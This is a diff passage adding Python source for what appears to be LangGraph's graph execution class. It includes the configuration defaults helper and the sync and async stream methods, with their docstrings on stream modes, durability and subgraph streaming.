+        node `as_node`. If `as_node` is not provided, it will be set to the last node
+        that updated the state, if not ambiguous.
+        """
+        return await self.abulk_update_state(
+            config, [[StateUpdate(values, as_node, task_id)]]
+        )
+
+    def _defaults(
+        self,
+        config: RunnableConfig,
+        *,
+        stream_mode: StreamMode | Sequence[StreamMode],
+        print_mode: StreamMode | Sequence[StreamMode],
+        output_keys: str | Sequence[str] | None,
+        interrupt_before: All | Sequence[str] | None,
+        interrupt_after: All | Sequence[str] | None,
+        durability: Durability | None = None,
+    ) -> tuple[
+        set[StreamMode],
+        str | Sequence[str],
+        All | Sequence[str],
+        All | Sequence[str],
+        BaseCheckpointSaver | None,
+        BaseStore | None,
+        BaseCache | None,
+        Durability,
+    ]:
+        if config["recursion_limit"] < 1:
+            raise ValueError("recursion_limit must be at least 1")
+        if output_keys is None:
+            output_keys = self.stream_channels_asis
+        else:
+            validate_keys(output_keys, self.channels)
+        interrupt_before = interrupt_before or self.interrupt_before_nodes
+        interrupt_after = interrupt_after or self.interrupt_after_nodes
+        if isinstance(stream_mode, str):
+            stream_modes = {stream_mode}
+        else:
+            stream_modes = set(stream_mode)
+        if isinstance(print_mode, str):
+            stream_modes.add(print_mode)
+        else:
+            stream_modes.update(print_mode)
+        if self.checkpointer is False:
+            checkpointer: BaseCheckpointSaver | None = None
+        elif CONFIG_KEY_CHECKPOINTER in config.get(CONF, {}):
+            checkpointer = config[CONF][CONFIG_KEY_CHECKPOINTER]
+        elif self.checkpointer is True:
+            raise RuntimeError("checkpointer=True cannot be used for root graphs.")
+        else:
+            checkpointer = self.checkpointer
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if checkpointer and not config.get(CONF):
+            raise ValueError(
+                "Checkpointer requires one or more of the following 'configurable' "
+                "keys: thread_id, checkpoint_ns, checkpoint_id"
+            )
+        if CONFIG_KEY_RUNTIME in config.get(CONF, {}):
+            store: BaseStore | None = config[CONF][CONFIG_KEY_RUNTIME].store
+        else:
+            store = self.store
+        if CONFIG_KEY_CACHE in config.get(CONF, {}):
+            cache: BaseCache | None = config[CONF][CONFIG_KEY_CACHE]
+        else:
+            cache = self.cache
+        if durability is None:
+            durability = config.get(CONF, {}).get(CONFIG_KEY_DURABILITY, "async")
+        return (
+            stream_modes,
+            output_keys,
+            interrupt_before,
+            interrupt_after,
+            checkpointer,
+            store,
+            cache,
+            durability,
+        )
+
+    @overload
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v2"],
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Iterator[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Iterator[dict[str, Any] | Any]: ...
+
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Iterator[dict[str, Any] | Any]:
+        """Stream graph steps for a single input.
+
+        Args:
+            input: The input to the graph.
+            config: The configuration to use for the run.
+            context: The static context to use for the run.
+                !!! version-added "Added in version 0.6.0"
+            stream_mode: The mode to stream output, defaults to `self.stream_mode`.
+
+                Options are:
+
+                - `"values"`: Emit all values in the state after each step, including interrupts.
+                    When used with functional API, values are emitted once at the end of the workflow.
+                - `"updates"`: Emit only the node or task names and updates returned by the nodes or tasks after each step.
+                    If multiple updates are made in the same step (e.g. multiple nodes are run) then those updates are emitted separately.
+                - `"custom"`: Emit custom data from inside nodes or tasks using `StreamWriter`.
+                - `"messages"`: Emit LLM messages token-by-token together with metadata for any LLM invocations inside nodes or tasks.
+                    - Will be emitted as 2-tuples `(LLM token, metadata)`.
+                - `"checkpoints"`: Emit an event when a checkpoint is created, in the same format as returned by `get_state()`.
+                - `"tasks"`: Emit events when tasks start and finish, including their results and errors.
+                - `"debug"`: Emit debug events with as much information as possible for each step.
+
+                You can pass a list as the `stream_mode` parameter to stream multiple modes at once.
+                The streamed outputs will be tuples of `(mode, data)`.
+
+                See [LangGraph streaming guide](https://docs.langchain.com/oss/python/langgraph/streaming) for more details.
+            print_mode: Accepts the same values as `stream_mode`, but only prints the output to the console, for debugging purposes.
+
+                Does not affect the output of the graph in any way.
+            output_keys: The keys to stream, defaults to all non-context channels.
+            interrupt_before: Nodes to interrupt before, defaults to all nodes in the graph.
+            interrupt_after: Nodes to interrupt after, defaults to all nodes in the graph.
+            durability: The durability mode for the graph execution, defaults to `"async"`.
+
+                Options are:
+
+                - `"sync"`: Changes are persisted synchronously before the next step starts.
+                - `"async"`: Changes are persisted asynchronously while the next step executes.
+                - `"exit"`: Changes are persisted only when the graph exits.
+            control: Optional run control used to request cooperative drain.
+            subgraphs: Whether to stream events from inside subgraphs, defaults to `False`.
+
+                If `True`, the events will be emitted as tuples `(namespace, data)`,
+                or `(namespace, mode, data)` if `stream_mode` is a list,
+                where `namespace` is a tuple with the path to the node where a subgraph is invoked,
+                e.g. `("parent_node:", "child_node:")`.
+
+                See [LangGraph streaming guide](https://docs.langchain.com/oss/python/langgraph/streaming) for more details.
+
+        Yields:
+            The output of each step in the graph. The output shape depends on the `stream_mode`.
+        """
+        if (checkpoint_during := kwargs.get("checkpoint_during")) is not None:
+            warnings.warn(
+                "`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.",
+                category=LangGraphDeprecatedSinceV10,
+                stacklevel=2,
+            )
+            if durability is not None:
+                raise ValueError(
+                    "Cannot use both `checkpoint_during` and `durability` parameters. Please use `durability` instead."
+                )
+            durability = "async" if checkpoint_during else "exit"
+
+        if stream_mode is None:
+            # if being called as a node in another graph, default to values mode
+            # but don't overwrite stream_mode arg if provided
+            stream_mode = (
+                "values"
+                if config is not None and CONFIG_KEY_TASK_ID in config.get(CONF, {})
+                else self.stream_mode
+            )
+        if debug or self.debug:
+            print_mode = ["updates", "values"]
+
+        stream = SyncQueue()
+
+        config = ensure_config(self.config, config)
+        run_manager = None
+        try:
+            # assign defaults
+            (
+                stream_modes,
+                output_keys,
+                interrupt_before_,
+                interrupt_after_,
+                checkpointer,
+                store,
+                cache,
+                durability_,
+            ) = self._defaults(
+                config,
+                stream_mode=stream_mode,
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+            )
+            callback_manager = get_callback_manager_for_config(config)
+            if "messages" in stream_modes and version != "v2":
+                # Strip any inherited v2 messages handler so a v1 stream
+                # does not get routed through the content-block event
+                # protocol. Leave v1 handlers in place — an outer
+                # stream(stream_mode="messages", subgraphs=True) relies
+                # on its inheritable handler to observe events emitted
+                # by inner stream(stream_mode="messages") calls.
+                callback_manager.handlers = [
+                    h
+                    for h in callback_manager.handlers
+                    if not isinstance(h, StreamMessagesHandlerV2)
+                ]
+                callback_manager.inheritable_handlers = [
+                    h
+                    for h in callback_manager.inheritable_handlers
+                    if not isinstance(h, StreamMessagesHandlerV2)
+                ]
+            if "ls_integration" not in callback_manager.metadata:
+                callback_manager.add_metadata({"ls_integration": "langgraph"})
+            run_manager = callback_manager.on_chain_start(
+                None,
+                input,
+                name=config.get("run_name", self.get_name()),
+                run_id=config.get("run_id"),
+            )
+            graph_callback_manager = get_sync_graph_callback_manager_for_config(
+                config,
+                run_id=run_manager.run_id,
+            )
+            if checkpointer is None and durability is not None:
+                warnings.warn(
+                    "`durability` has no effect when no checkpointer is present.",
+                )
+            # set up subgraph checkpointing
+            if self.checkpointer is True:
+                ns = cast(str, config[CONF][CONFIG_KEY_CHECKPOINT_NS])
+                config[CONF][CONFIG_KEY_CHECKPOINT_NS] = recast_checkpoint_ns(ns)
+            # set up messages stream mode
+            if "messages" in stream_modes:
+                ns_ = cast(str | None, config[CONF].get(CONFIG_KEY_CHECKPOINT_NS))
+                use_stream_messages_v2 = bool(
+                    version == "v2" and config[CONF].get(CONFIG_KEY_STREAM_MESSAGES_V2)
+                )
+                messages_handler_cls = (
+                    StreamMessagesHandlerV2
+                    if use_stream_messages_v2
+                    else StreamMessagesHandler
+                )
+                run_manager.inheritable_handlers.append(
+                    messages_handler_cls(
+                        stream.put,
+                        subgraphs,
+                        parent_ns=tuple(ns_.split(NS_SEP)) if ns_ else None,
+                    )
+                )
+
+            # set up tools stream mode
+            if "tools" in stream_modes:
+                ns_tools = cast(str | None, config[CONF].get(CONFIG_KEY_CHECKPOINT_NS))
+                run_manager.inheritable_handlers.append(
+                    StreamToolCallHandler(
+                        stream.put,
+                        subgraphs,
+                        parent_ns=tuple(ns_tools.split(NS_SEP)) if ns_tools else None,
+                    )
+                )
+
+            # set up custom stream mode
+            if "custom" in stream_modes:
+
+                def stream_writer(c: Any) -> None:
+                    stream.put(
+                        (
+                            tuple(
+                                get_config()[CONF][CONFIG_KEY_CHECKPOINT_NS].split(
+                                    NS_SEP
+                                )[:-1]
+                            ),
+                            "custom",
+                            c,
+                        )
+                    )
+            elif CONFIG_KEY_STREAM in config[CONF]:
+                stream_writer = config[CONF][CONFIG_KEY_RUNTIME].stream_writer
+            else:
+
+                def stream_writer(c: Any) -> None:
+                    pass
+
+            # set durability mode for subgraphs
+            if durability is not None:
+                config[CONF][CONFIG_KEY_DURABILITY] = durability_
+
+            # build server_info from metadata + parent runtime
+            parent_runtime = _coerce_parent_runtime(
+                config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
+            )
+            server_info = _build_server_info(config, parent_runtime)
+
+            runtime = Runtime(
+                context=_coerce_context(self.context_schema, context),
+                store=store,
+                stream_writer=stream_writer,
+                previous=None,
+                execution_info=None,
+                server_info=server_info,
+                control=control or parent_runtime.control or RunControl(),
+            )
+            runtime = parent_runtime.merge(runtime)
+            config[CONF][CONFIG_KEY_RUNTIME] = runtime
+
+            # resolve mappers for v2 stream coercion
+            _output_mapper = self._output_mapper if version == "v2" else None
+            _state_mapper = self._state_mapper if version == "v2" else None
+
+            def emit_graph_lifecycle_events(loop: SyncPregelLoop) -> None:
+                while (event := loop._pop_lifecycle_event()) is not None:
+                    if isinstance(event, GraphResumeEvent):
+                        graph_callback_manager.on_resume(
+                            replace(event, run_id=graph_callback_manager.run_id)
+                        )
+                    else:
+                        graph_callback_manager.on_interrupt(
+                            replace(event, run_id=graph_callback_manager.run_id)
+                        )
+
+            with SyncPregelLoop(
+                input,
+                stream=StreamProtocol(stream.put, stream_modes),
+                config=config,
+                store=store,
+                cache=cache,
+                checkpointer=checkpointer,
+                nodes=self.nodes,
+                specs=self.channels,
+                output_keys=output_keys,
+                input_keys=self.input_channels,
+                stream_keys=self.stream_channels_asis,
+                interrupt_before=interrupt_before_,
+                interrupt_after=interrupt_after_,
+                manager=run_manager,
+                durability=durability_,
+                trigger_to_nodes=self.trigger_to_nodes,
+                migrate_checkpoint=self._migrate_checkpoint,
+                retry_policy=self.retry_policy,
+                cache_policy=self.cache_policy,
+                has_graph_lifecycle_callbacks=bool(graph_callback_manager.handlers),
+            ) as loop:
+                emit_graph_lifecycle_events(loop)
+                # create runner
+                runner = PregelRunner(
+                    submit=config[CONF].get(
+                        CONFIG_KEY_RUNNER_SUBMIT, weakref.WeakMethod(loop.submit)
+                    ),
+                    put_writes=weakref.WeakMethod(loop.put_writes),
+                    node_finished=config[CONF].get(CONFIG_KEY_NODE_FINISHED),
+                    node_error_handler_map=self.node_error_handler_map,
+                    schedule_error_handler=loop.schedule_error_handler,
+                )
+                # enable subgraph streaming
+                if subgraphs:
+                    loop.config[CONF][CONFIG_KEY_STREAM] = loop.stream
+                # enable concurrent streaming
+                get_waiter: Callable[[], concurrent.futures.Future[None]] | None = None
+                if (
+                    self.stream_eager
+                    or subgraphs
+                    or "messages" in stream_modes
+                    or "custom" in stream_modes
+                ):
+                    # we are careful to have a single waiter live at any one time
+                    # because on exit we increment semaphore count by exactly 1
+                    waiter: concurrent.futures.Future | None = None
+                    # because sync futures cannot be cancelled, we instead
+                    # release the stream semaphore on exit, which will cause
+                    # a pending waiter to return immediately
+                    loop.stack.callback(stream._count.release)
+
+                    def get_waiter() -> concurrent.futures.Future[None]:
+                        nonlocal waiter
+                        if waiter is None or waiter.done():
+                            waiter = loop.submit(stream.wait)
+                            return waiter
+                        else:
+                            return waiter
+
+                # Similarly to Bulk Synchronous Parallel / Pregel model
+                # computation proceeds in steps, while there are channel updates.
+                # Channel updates from step N are only visible in step N+1
+                # channels are guaranteed to be immutable for the duration of the step,
+                # with channel updates applied only at the transition between steps.
+                while loop.tick():
+                    for task in loop.match_cached_writes():
+                        loop.output_writes(task.id, task.writes, cached=True)
+                    for _ in runner.tick(
+                        [t for t in loop.tasks.values() if not t.writes],
+                        timeout=self.step_timeout,
+                        get_waiter=get_waiter,
+                        schedule_task=loop.accept_push,
+                    ):
+                        # emit output
+                        yield from _output(
+                            stream_mode,
+                            print_mode,
+                            subgraphs,
+                            stream.get,
+                            queue.Empty,
+                            version,
+                            _output_mapper,
+                            _state_mapper,
+                        )
+                    loop.after_tick()
+                    emit_graph_lifecycle_events(loop)
+                    # wait for checkpoint
+                    if durability_ == "sync":
+                        loop._put_checkpoint_fut.result()
+            emit_graph_lifecycle_events(loop)
+            # emit output
+            yield from _output(
+                stream_mode,
+                print_mode,
+                subgraphs,
+                stream.get,
+                queue.Empty,
+                version,
+                _output_mapper,
+                _state_mapper,
+            )
+            # handle exit
+            if loop.status == "out_of_steps":
+                msg = create_error_message(
+                    message=(
+                        f"Recursion limit of {config['recursion_limit']} reached "
+                        "without hitting a stop condition. You can increase the "
+                        "limit by setting the `recursion_limit` config key."
+                    ),
+                    error_code=ErrorCode.GRAPH_RECURSION_LIMIT,
+                )
+                raise GraphRecursionError(msg)
+            elif loop.status == "draining":
+                if loop.control is None:
+                    raise RuntimeError("Draining status requires run control")
+                raise GraphDrained(loop.control.drain_reason or "shutdown")
+            # set final channel values as run output
+            run_manager.on_chain_end(loop.output)
+        except BaseException as e:
+            if run_manager is not None:
+                run_manager.on_chain_error(e)
+            raise
+
+    @overload
+    def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v2"],
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> AsyncIterator[dict[str, Any] | Any]: ...
+
+    async def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | Sequence[StreamMode] | None = None,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        subgraphs: bool = False,
+        debug: bool | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> AsyncIterator[dict[str, Any] | Any]:
+        """Asynchronously stream graph steps for a single input.
+
+        Args:
+            input: The input to the graph.
+            config: The configuration to use for the run.
+            context: The static context to use for the run.
+                !!! version-added "Added in version 0.6.0"
+            stream_mode: The mode to stream output, defaults to `self.stream_mode`.
+
+                Options are:
+
+                - `"values"`: Emit all values in the state after each step, including interrupts.
+                    When used with functional API, values are emitted once at the end of the workflow.
+                - `"updates"`: Emit only the node or task names and updates returned by the nodes or tasks after each step.
+                    If multiple updates are made in the same step (e.g. multiple nodes are run) then those updates are emitted separately.
+                - `"custom"`: Emit custom data from inside nodes or tasks using `StreamWriter`.
+                - `"messages"`: Emit LLM messages token-by-token together with metadata for any LLM invocations inside nodes or tasks.
+                    - Will be emitted as 2-tuples `(LLM token, metadata)`.
+                - `"checkpoints"`: Emit an event when a checkpoint is created, in the same format as returned by `get_state()`.
+                - `"tasks"`: Emit events when tasks start and finish, including their results and errors.
+                - `"debug"`: Emit debug events with as much information as possible for each step.
+
+                You can pass a list as the `stream_mode` parameter to stream multiple modes at once.
+                The streamed outputs will be tuples of `(mode, data)`.
+
+                See [LangGraph streaming guide](https://docs.langchain.com/oss/python/langgraph/streaming) for more details.
+            print_mode: Accepts the same values as `stream_mode`, but only prints the output to the console, for debugging purposes.
+
+                Does not affect the output of the graph in any way.
+            output_keys: The keys to stream, defaults to all non-context channels.
+            interrupt_before: Nodes to interrupt before, defaults to all nodes in the graph.
+            interrupt_after: Nodes to interrupt after, defaults to all nodes in the graph.
+            durability: The durability mode for the graph execution, defaults to `"async"`.
+
+                Options are:
+
+                - `"sync"`: Changes are persisted synchronously before the next step starts.
+                - `"async"`: Changes are persisted asynchronously while the next step executes.
+                - `"exit"`: Changes are persisted only when the graph exits.
+            control: Optional run control used to request cooperative drain.
+            subgraphs: Whether to stream events from inside subgraphs, defaults to `False`.
+
+                If `True`, the events will be emitted as tuples `(namespace, data)`,
+                or `(namespace, mode, data)` if `stream_mode` is a list,
+                where `namespace` is a tuple with the path to the node where a subgraph is invoked,
+                e.g. `("parent_node:", "child_node:")`.
+
+                See [LangGraph streaming guide](https://docs.langchain.com/oss/python/langgraph/streaming) for more details.
+
+        Yields:
+            The output of each step in the graph. The output shape depends on the `stream_mode`.
+        """
+        if (checkpoint_during := kwargs.get("checkpoint_during")) is not None:
+            warnings.warn(
+                "`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.",
+                category=LangGraphDeprecatedSinceV10,
+                stacklevel=2,
+            )
+            if durability is not None:
+                raise ValueError(
+                    "Cannot use both `checkpoint_during` and `durability` parameters. Please use `durability` instead."
+                )
+            durability = "async" if checkpoint_during else "exit"
+
+        if stream_mode is None:
+            # if being called as a node in another graph, default to values mode
+            # but don't overwrite stream_mode arg if provided
+            stream_mode = (
+                "values"
+                if config is not None and CONFIG_KEY_TASK_ID in config.get(CONF, {})
+                else self.stream_mode
+            )
+        if debug or self.debug:
+            print_mode = ["updates", "values"]
+
+        stream = AsyncQueue()
+        aioloop = asyncio.get_running_loop()
+        stream_put = cast(
+            Callable[[StreamChunk], None],
+            partial(aioloop.call_soon_threadsafe, stream.put_nowait),
+        )
+
+        config = ensure_config(self.config, config)
+        run_manager = None
+        try:
+            # assign defaults
+            (
+                stream_modes,
+                output_keys,
+                interrupt_before_,
+                interrupt_after_,
+                checkpointer,
+                store,
+                cache,
+                durability_,
+            ) = self._defaults(
+                config,
+                stream_mode=stream_mode,
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+            )
+            callback_manager = get_async_callback_manager_for_config(config)
+            if "messages" in stream_modes and version != "v2":
+                # Strip any inherited v2 messages handler so a v1 stream
+                # does not get routed through the content-block event
+                # protocol. Leave v1 handlers in place — an outer
+                # astream(stream_mode="messages", subgraphs=True) relies
+                # on its inheritable handler to observe events emitted
+                # by inner astream(stream_mode="messages") calls.
+                callback_manager.handlers = [
+                    h
+                    for h in callback_manager.handlers
+                    if not isinstance(h, StreamMessagesHandlerV2)
+                ]
+                callback_manager.inheritable_handlers = [
+                    h
+                    for h in callback_manager.inheritable_handlers
+                    if not isinstance(h, StreamMessagesHandlerV2)
+                ]
+            if "ls_integration" not in callback_manager.metadata:
+                callback_manager.add_metadata({"ls_integration": "langgraph"})
+            run_manager = await callback_manager.on_chain_start(
+                None,
+                input,
+                name=config.get("run_name", self.get_name()),
+                run_id=config.get("run_id"),
+            )
+            graph_callback_manager = get_async_graph_callback_manager_for_config(
+                config,
+                run_id=run_manager.run_id,
+            )
+            # if running from astream_log() run each proc with streaming
+            do_stream = (
+                next(
+                    (
+                        True
+                        for h in run_manager.handlers
+                        if isinstance(h, _StreamingCallbackHandler)
+                        and not isinstance(h, StreamMessagesHandler)
+                    ),
+                    False,
+                )
+                if _StreamingCallbackHandler is not None
+                else False
+            )
+            if checkpointer is None and durability is not None:
+                warnings.warn(
+                    "`durability` has no effect when no checkpointer is present.",
+                )
+            # set up subgraph checkpointing
+            if self.checkpointer is True:
+                ns = cast(str, config[CONF][CONFIG_KEY_CHECKPOINT_NS])
+                config[CONF][CONFIG_KEY_CHECKPOINT_NS] = recast_checkpoint_ns(ns)
+            # set up messages stream mode
+            if "messages" in stream_modes:
+                # namespace can be None in a root level graph?
+                ns_ = cast(str | None, config[CONF].get(CONFIG_KEY_CHECKPOINT_NS))
+                use_stream_messages_v2 = bool(
+                    version == "v2" and config[CONF].get(CONFIG_KEY_STREAM_MESSAGES_V2)
+                )
+                messages_handler_cls = (
+                    StreamMessagesHandlerV2
+                    if use_stream_messages_v2
+                    else StreamMessagesHandler
+                )
+                run_manager.inheritable_handlers.append(
+                    messages_handler_cls(
+                        stream_put,
+                        subgraphs,
+                        parent_ns=tuple(ns_.split(NS_SEP)) if ns_ else None,
+                    )
+                )
+
+            # set up tools stream mode
+            if "tools" in stream_modes:
+                ns_tools = cast(str | None, config[CONF].get(CONFIG_KEY_CHECKPOINT_NS))
+                run_manager.inheritable_handlers.append(
+                    StreamToolCallHandler(
+                        stream_put,
+                        subgraphs,
+                        parent_ns=tuple(ns_tools.split(NS_SEP)) if ns_tools else None,
+                    )
+                )
+
+            # set up custom stream mode
+            def stream_writer(c: Any) -> None:
+                aioloop.call_soon_threadsafe(
+                    stream.put_nowait,
+                    (
+                        tuple(
+                            get_config()[CONF][CONFIG_KEY_CHECKPOINT_NS].split(NS_SEP)[
+                                :-1
+                            ]
+                        ),
+                        "custom",
+                        c,
+                    ),
+                )
+
+            if "custom" in stream_modes:
+
+                def stream_writer(c: Any) -> None:
+                    aioloop.call_soon_threadsafe(
+                        stream.put_nowait,
+                        (
+                            tuple(
+                                get_config()[CONF][CONFIG_KEY_CHECKPOINT_NS].split(
+                                    NS_SEP
+                                )[:-1]
+                            ),
+                            "custom",
+                            c,
+                        ),
+                    )
+            elif CONFIG_KEY_STREAM in config[CONF]:
+                stream_writer = config[CONF][CONFIG_KEY_RUNTIME].stream_writer
+            else:
+
+                def stream_writer(c: Any) -> None:
+                    pass
+
+            # set durability mode for subgraphs
+            if durability is not None:
+                config[CONF][CONFIG_KEY_DURABILITY] = durability_
+
+            # build server_info from metadata + parent runtime
+            parent_runtime = _coerce_parent_runtime(
+                config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
+            )
+            server_info = _build_server_info(config, parent_runtime)
+
+            runtime = Runtime(
+                context=_coerce_context(self.context_schema, context),
+                store=store,
+                stream_writer=stream_writer,
+                previous=None,
+                execution_info=None,
+                server_info=server_info,
+                control=control or parent_runtime.control or RunControl(),
+            )
+            runtime = parent_runtime.merge(runtime)
+            config[CONF][CONFIG_KEY_RUNTIME] = runtime
+
+            # resolve mappers for v2 stream coercion
+            _output_mapper = self._output_mapper if version == "v2" else None
+            _state_mapper = self._state_mapper if version == "v2" else None
+
+            async def aemit_graph_lifecycle_events(loop: AsyncPregelLoop) -> None:
+                while (event := loop._pop_lifecycle_event()) is not None:
+                    if isinstance(event, GraphResumeEvent):
+                        await graph_callback_manager.on_resume(
+                            GraphResumeEvent(
+                                run_id=graph_callback_manager.run_id,
+                                status=event.status,
+                                checkpoint_id=event.checkpoint_id,
+                                checkpoint_ns=event.checkpoint_ns,
+                            )
+                        )
+                    else:
+                        await graph_callback_manager.on_interrupt(
+                            GraphInterruptEvent(
+                                run_id=graph_callback_manager.run_id,
+                                status=event.status,
+                                checkpoint_id=event.checkpoint_id,
+                                checkpoint_ns=event.checkpoint_ns,
+                                interrupts=event.interrupts,
+                            )
+                        )
+
+            async with AsyncPregelLoop(
+                input,
+                stream=StreamProtocol(stream.put_nowait, stream_modes),
+                config=config,
+                store=store,
+                cache=cache,
+                checkpointer=checkpointer,
+                nodes=self.nodes,
+                specs=self.channels,
+                output_keys=output_keys,
+                input_keys=self.input_channels,
+                stream_keys=self.stream_channels_asis,
+                interrupt_before=interrupt_before_,
+                interrupt_after=interrupt_after_,
+                manager=run_manager,
+                durability=durability_,
+                trigger_to_nodes=self.trigger_to_nodes,
+                migrate_checkpoint=self._migrate_checkpoint,
+                retry_policy=self.retry_policy,
+                cache_policy=self.cache_policy,
+                has_graph_lifecycle_callbacks=bool(graph_callback_manager.handlers),
+            ) as loop:
+                await aemit_graph_lifecycle_events(loop)
+                # create runner
+                runner = PregelRunner(
+                    submit=config[CONF].get(
+                        CONFIG_KEY_RUNNER_SUBMIT, weakref.WeakMethod(loop.submit)
+                    ),
+                    put_writes=weakref.WeakMethod(loop.put_writes),
+                    use_astream=do_stream,
+                    node_finished=config[CONF].get(CONFIG_KEY_NODE_FINISHED),
+                    node_error_handler_map=self.node_error_handler_map,
+                    aschedule_error_handler=loop.aschedule_error_handler,
+                )
+                # enable subgraph streaming
+                if subgraphs:
+                    loop.config[CONF][CONFIG_KEY_STREAM] = StreamProtocol(
+                        stream_put, stream_modes
+                    )
+                # enable concurrent streaming
+                get_waiter: Callable[[], asyncio.Task[None]] | None = None
+                _cleanup_waiter: Callable[[], Awaitable[None]] | None = None
+                if (
+                    self.stream_eager
+                    or subgraphs
+                    or "messages" in stream_modes
+                    or "custom" in stream_modes
+                ):
+                    # Keep a single waiter task alive; ensure cleanup on exit.
+                    waiter: asyncio.Task[None] | None = None
+
+                    def get_waiter() -> asyncio.Task[None]:
+                        nonlocal waiter
+                        if waiter is None or waiter.done():
+                            waiter = aioloop.create_task(stream.wait())
+
+                            def _clear(t: asyncio.Task[None]) -> None:
+                                nonlocal waiter
+                                if waiter is t:
+                                    waiter = None
+
+                            waiter.add_done_callback(_clear)
+                        return waiter
+
+                    async def _cleanup_waiter() -> None:
+                        """Wake pending waiter and/or cancel+await to avoid pending tasks."""
+                        nonlocal waiter
+                        # Try to wake via semaphore like SyncPregelLoop
+                        with contextlib.suppress(Exception):
+                            if hasattr(stream, "_count"):
+                                stream._count.release()
+                        t = waiter
+                        waiter = None
+                        if t is not None and not t.done():
+                            t.cancel()
+                            with contextlib.suppress(asyncio.CancelledError):
+                                await t
+
+                # Similarly to Bulk Synchronous Parallel / Pregel model
+                # computation proceeds in steps, while there are channel updates
+                # channel updates from step N are only visible in step N+1
+                # channels are guaranteed to be immutable for the duration of the step,
+                # with channel updates applied only at the transition between steps
+                try:
+                    while loop.tick():
+                        for task in await loop.amatch_cached_writes():
+                            loop.output_writes(task.id, task.writes, cached=True)
+                        async for _ in runner.atick(
+                            [t for t in loop.tasks.values() if not t.writes],
+                            timeout=self.step_timeout,
+                            get_waiter=get_waiter,
+                            schedule_task=loop.aaccept_push,
+                        ):
+                            # emit output
+                            for o in _output(
+                                stream_mode,
+                                print_mode,
+                                subgraphs,
+                                stream.get_nowait,
+                                asyncio.QueueEmpty,
+                                version,
+                                _output_mapper,
+                                _state_mapper,
+                            ):
+                                yield o
+                        loop.after_tick()
+                        await aemit_graph_lifecycle_events(loop)
+                        # wait for checkpoint
+                        if durability_ == "sync":
+                            await cast(asyncio.Future, loop._put_checkpoint_fut)
+                finally:
+                    # ensure waiter doesn't remain pending on cancel/shutdown
+                    if _cleanup_waiter is not None:
+                        await _cleanup_waiter()
+
+            await aemit_graph_lifecycle_events(loop)
+
+            # emit output
+            for o in _output(
+                stream_mode,
+                print_mode,
+                subgraphs,
+                stream.get_nowait,
+                asyncio.QueueEmpty,
+                version,
+                _output_mapper,
+                _state_mapper,
+            ):
+                yield o
+            # handle exit
+            if loop.status == "out_of_steps":
+                msg = create_error_message(
+                    message=(
